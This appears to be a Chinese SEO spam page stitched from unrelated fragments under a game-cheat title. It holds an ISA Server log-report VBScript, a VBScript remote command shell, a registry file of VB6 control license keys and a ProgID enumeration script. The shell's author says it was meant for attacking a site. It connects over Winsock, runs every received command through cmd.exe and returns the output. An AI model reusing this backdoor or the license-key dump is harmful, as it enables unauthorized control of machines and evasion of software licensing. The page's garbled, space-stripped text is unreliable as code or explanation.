问道手游抢万年鬼差脚本ie当前页面发生

本文介绍了利用VisualBasic6.0来实现显示或播放多媒体数据,所运用的进程调用等技术对于Windows环境下的其他编程应用也有重要的参考价值当然这些start()、vbs()函数是不存在的,但是会被cmd.exe当成命令执行

广告分镜头脚本范例图片 'ISA 2004 Web Log Query Tool 'Created by mwpq 'Version 1.0 'Date 2007.9.18 On Error Resume Next Dim startdate, enddate Dim topweb, topuser,usertop, usertopweb 'Configuration part of the script '==================================================================startdate=1 ' the newest log files to be queried. 1 means one day ago interday=7 ' the oldest log files is startdate + interday ' For example startdate=1, interday=7 means script will query log files between 8 days ago and yesterday's. topweb="Top 20" ' List Top 20 Websites visited. Just change 20 to other No to get what you want like "top 21" will list top 21 websites. topuser="Top 10" ' List Top 10 users and their total usage. Usertop="Top 20" ' List Top 20 Users with their top websites, depend on uesrtopweb. set to "" to list all users web usage usertopweb="Top 10" sMailTo="mwpq@yahoo.com" 'Send email repor to sMailFrom="admin@yourdomain.com 'Email comes from sMailSub="ISA Web Traffic Report" 'Email Title sSMTPServer="youremailserver" 'Email server strMessage="Please see attachment for the ISA Web Traffic Report." 'Email txt body. satt="C:\Program Files\Microsoft ISA Server\ISALogs\report.htm" 'Email attachment path. The report.htm will be created under ISA's log folder. '===================================================================Const cdoSendUsingMethod="", _ cdoSendUsingPort=2, _ cdoSMTPServer="" 'Create the html reprot and write the html header '=================================================================================================================Const BEGIN_TABLE=" <TABLE width=100% BORDER=0 CELLSPACING=1 CELLPADDING=2>" Const END_TABLE=" </TABLE>" Const ForReading=1 Const ForWriting=2 Const ForAppending=8 Set oFSO=CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(".\report.htm") Then oFSO.Deletefile(".\report.htm") End If If oFSO.FileExists(".\tempsum.w3c") Then oFSO.Deletefile(".\tempsum.w3c") End If Set oFile=oFSO.OpenTextFile(".\report.htm", ForWriting, True, true) 'Write the HTML head to file suit for IE viewer. oFile.writeline ("<HTML>" & vbcrlf & _ "<HEAD>" & vbcrlf & _ "<TITLE> ISA Web Usage Reports</TITLE>" & VbCrLf & _ "<style type=""text/css"">" & vbcrlf) oFile.writeline ("<!--" & vbcrlf & _ ".Title {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; color:'#0000cc'}" & vbcrlf & _ ".head {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _ ".category {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _ ".result {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color:'#000000'}" & vbcrlf & _ ".alert {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ff0000'}" & vbcrlf & _ "a {color: '#000066'; text-decoration:none;}" & vbcrlf & _ "a:hover {text-decoration:underline}" & vbcrlf & _ "-->" & vbcrlf) oFile.writeline ("</style>" & VbCrLf & _ "</HEAD>" & VbCrLf & _ "<body bgcolor=#ffffff>" & VbCrLf) oFile.writeline "<p class=Title> ISA Web Traffic Report - From "&date-startdate-interday&" to "&date-startdate oFile.writeline "<p>" '================================================================================================================='End of create html report header part 'build the log file name list spath="" while interday >=0 dtmDate=date - startdate - interday 'Convert the current Date to UTC '=================================================================================================================strDay=Day(dtmDate) If Len(strDay) < 2 Then strDay="0" & strDay End If strMonth=Month(dtmDate) If Len(strMonth) < 2 Then strMonth="0" & strMonth End If strYear=Year(dtmDate) sdate=strYear & strMonth & strDay '=================================================================================================================stemp2="'"&"ISALOG_"&sdate&"_WEB_* "&"'" spath=spath & stemp2 if interday - startday > 0 then spath=spath&", " end if interday=interday - 1 wend 'Create a temp sumary file set objLogParser=CreateObject("MSUtil.LogQuery") Set objInputFormat=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") SET w3cOutputFormat=WScript.CreateObject("MSUtil.LogQuery.W3COutputFormat") w3cOutputFormat.filemode=1 ' Set file to overwrite mode strQuery="SELECT cs-username, r-host, Sum(add(cs-bytes,sc-bytes)) as SRdata into 'tempsum.w3c' FROM "&spath&" where sc-Network='External' group by cs-username,r-host order by SRdata DESC" objLogParser.Executebatch strQuery, objInputFormat,w3cOutputFormat 'check tempsum.w3c existed Set oFSO1=CreateObject("Scripting.FileSystemObject") If oFSO1.FileExists(".\tempsum.w3c") Then oFSO1=nothing else oFSO1=nothing wscript.echo "Sorry cannot find some of the log files to query! Script Quit." wscript.quit End If 'Generate report based on temp file. '================================================================================'Generate top web sites. fl=0 oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading topweb&" Websites" mWBRow mWTitle "Site Name" mWTitle "Traffic (MB)" mWERow set objLogParser10=CreateObject("MSUtil.LogQuery") Set objInputFormat10=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 strQuery10="SELECT "&topweb&" r-host, sum(SRdata) as TSRData FROM 'tempsum.w3c' group by r-host order by TSRdata DESC" Set objRecordSet10=objLogParser10.Execute(strQuery10, objInputFormat10) Do While Not objRecordSet10.AtEnd Set objRecord10=objRecordSet10.GetRecord if fl=0 then mWBRow mWDetail2 objRecord10.GetValue("r-host") mwDetail2 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord10.GetValue("r-host") mwDetail1 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet10.MoveNext Loop spacer(12) oFile.writeline (END_TABLE & VbCrLf) '================================================================================'================================================================================'Generate top user list. fl=0 oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading topuser&" Users list" mWBRow mWTitle "logon Name" mWTitle "Traffic (MB)" mWERow set objLogParser11=CreateObject("MSUtil.LogQuery") Set objInputFormat11=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 strQuery11="SELECT "&topuser&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC" Set objRecordSet11=objLogParser11.Execute(strQuery11, objInputFormat11) Do While Not objRecordSet11.AtEnd Set objRecord11=objRecordSet11.GetRecord if fl=0 then mWBRow mWDetail2 objRecord11.GetValue("cs-username") mwDetail2 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord11.GetValue("cs-username") mwDetail1 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet11.MoveNext Loop spacer(12) oFile.writeline (END_TABLE & VbCrLf) '================================================================================set objLogParser1=CreateObject("MSUtil.LogQuery") Set objInputFormat1=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") strQuery1="SELECT "&usertop&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC" Set objRecordSet1=objLogParser1.Execute(strQuery1, objInputFormat1) oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading usertop&" Users' Web Traffic " Do While Not objRecordSet1.AtEnd Set objRecord1=objRecordSet1.GetRecord strUsername=objRecord1.GetValue("cs-username") stt="'"&strUsername&"'" mWBRow mWTitle strUsername &" ------ Total Web Traffic: " & FormatNumber(objRecord1.GetValue("TSRdata")/1048576,2)&" MB" mWTitle "Traffic (MB)" mWERow 'Wscript.echo "" 'wscript.echo stt &" >>> data: " & objRecord1.GetValue("TSRdata") set objLogParser2=CreateObject("MSUtil.LogQuery") Set objInputFormat2=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 fl=0 strQuery2="SELECT "&usertopweb&" r-host, SRdata FROM 'tempsum.w3c' where cs-username=" &stt&" group by r-host,SRdata" Set objRecordSet2=objLogParser2.Execute(strQuery2, objInputFormat2) Do While Not objRecordSet2.AtEnd Set objRecord2=objRecordSet2.GetRecord if fl=0 then mWBRow mWDetail2 objRecord2.GetValue("r-host") mwDetail2 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord2.GetValue("r-host") mwDetail1 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet2.MoveNext Loop objRecordSet1.MoveNext spacer(12) Loop oFile.writeline (END_TABLE & VbCrLf) ' Write the html end to report. oFile.WriteLine ("</body>") oFile.WriteLine ("</html>") oFile.Close 'Methods to create html(title and table) part '=================================================================================================================Private Sub mWHeading(sHeading) oFile.writeline ( _ " <tr>" & vbCrLf & _ " <td colspan=7 bgcolor=#0099cc class=head>" & sHeading &"</td>"& vbCrLf & _ " </tr>" & VbCrLf) End Sub Private Sub mWTitle(sContent) oFile.writeline ( _ " <TD bgcolor=#0099ff align=left class=category height=14>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWDetail1(sContent) oFile.writeline ( _ " <TD bgcolor=#dce3fc align=left class=result height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWDetail2(sContent) oFile.writeline ( _ " <TD bgcolor=#e9fbfe align=left class=result height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWAlert1(sContent) oFile.writeline ( _ " <TD bgcolor=#dce3fc align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWAlert2(sContent) oFile.writeline ( _ " <TD bgcolor=#e9fbfe align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWBRow oFile.writeline ( " <tr>" & VbCrLf) End Sub Private Sub mWERow oFile.writeline ( " </tr>" & VbCrLf) End Sub Private Sub spacer(iHeight) oFile.writeline ( _ " <tr><td height=" & iHeight & "></td></tr>" & VbCrLf) End Sub '================================================================================================================='End of create html method 'Send email Dim iMsg, iConf, Flds '// Create the CDO connections. Set iMsg=CreateObject("CDO.Message") Set iConf=CreateObject("CDO.Configuration") Set Flds=iConf.Fields '// SMTP server configuration. With Flds .Item(cdoSendUsingMethod)=cdoSendUsingPort '// Set the SMTP server address here. .Item(cdoSMTPServer)=sSMTPServer .Update End With '// Set the message properties. With iMsg Set .Configuration=iConf .To=sMailTo .From=sMailFrom .Subject=sMailSub .TextBody=strMessage End With 'iMsg.HTMLBody=sMailMessage '// Send the message. iMsg.AddAttachment satt iMsg.Send ' send the message. Set iMsg=Nothing Set iConf=Nothing ->

也就是说,当脚本到达您的计算机时,WSH 充当主机的一部分,它使对象和服务可用于脚本,并提供一系列脚本执行指南前者到用于桌面数据库如ACCESS,FOXPRO的组件,后者是实现新版本ADO组件

'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷 'by009,baicker@hotmail.com 'date:071221 Dimrevdata setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_") setsc=createobject("WScript.Shell") Setfso=CreateObject("Scripting.FileSystemObject") sock.connect"127.0.0.1",1234 SubWSEvent_Connect() wscript.echo"Connected!" endsub SubWSEvent_DataArrival(bytes) MyString="blank" sock.GetDataMyString revdata=MyString ifbytes>0then ifinstr(revdata,"exit")>0then sock.close sock.close sock=nothing bClose=true exitsub else onerrorresumenext tempfile="C:"&fso.GetTempName cmd=left(revdata,len(revdata)-1) callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True) Settxf=fso.OpenTextFile(tempfile,1,false,0) sock.senddatatxf.readall&vbcrlf&vbcrlf txf.close callfso.DeleteFile(TempFile,True) endif sock.senddata"009>" endif endsub WhileNotbClose WScript.Sleep1 Wend ――――――――――――――――――――――――――――――――――――― 调用winsock,未装VB的需要导入注册表 ――――――――――――――vb6controls.reg―――――――――――――――――- REGEDIT HKEY_CLASSES_ROOT\Licenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights. //MaskedEditControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj //ChartControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb //CommonDialogControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj //ADODataControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti //CommonControls-36.0licensekey HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd //WindowsCommonControls-25.0(SP2)licensekey HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun //WindowsCommonControlslicensekey HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle //DataBoundGridControl5.0(SP3)licensekey HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl //DataBoundListControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk //InternetTransferControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun //MultimediaControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun //ChartControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl //WindowsCommonControls-26.0licensekey HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj //WindowsCommonControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh //CommControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun //DataGridControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe //DataListControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc //DBWinlicensekey HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd //MSDBRPTlicensekey HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd //FlexGridControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf //MAPIControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun //MSRDO2.0licensekey HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd //RemoteDataControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl //WindowlessControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj //PictureClipControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh //RichTextBoxControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl //SheridanTabControllicensekey HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng //SysInfoControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg //WinsockControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk 在建立之前,最好先查询这两个系统表,看名称是否已经存在

foreachkeyinallkeys '第1个点在哪儿(跳过初始点)? pos=Instr(2,key,".") ifpos>0then 'there'sadot.Isthereanotherone? pos2=Instr(pos+1,key,".") ifpos2>0then 'yes,sothisnameisversionspecific 'checkwhetherwealreadyhavea 'version-independentprogid! independent=left(key,pos2-1) ifnotdict.Exists(independent)then 'no,storeit dict.Addkey,0 endif else 'thisoneisversion-independent. 'dowealreadyhaveaversion-dependent 'progIDinstore? vdpid="" foreachelementindict iflen(element)>len(key)then ifleft(element,len(key)+1)=key&"."then 'yes,returnname vdpid=element exitfor endif endif next 'anyversiondependentprogIDfound? ifvdpid=""then 'no,addtostore dict.addkey,0 else 'yes,replace dict.Removevdpid dict.addkey,0 endif endif endif next MsgBoxdict.Count&"Objectsfound!" foreachkeyindict list=list&key&vbCrlf next MsgBoxlist outputfile="C:\OBJECT.TXT" setfs=CreateObject("Scripting.FileSystemObject") setoutput=fs.CreateTextFile(outputfile,true) printdict.Count&"Objectsfound!" Printlist output.close wshshell.runoutputfile subPrint(text) '写信息到记录文件 output.WriteLinetext endsub88键钢琴如果keepLocal属性不存在,则先建立之,然后把它附加到表的Properties集合中去,并将其值设置为“T”它也是不含任何脚本编写代码之类内容的章节。

187人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册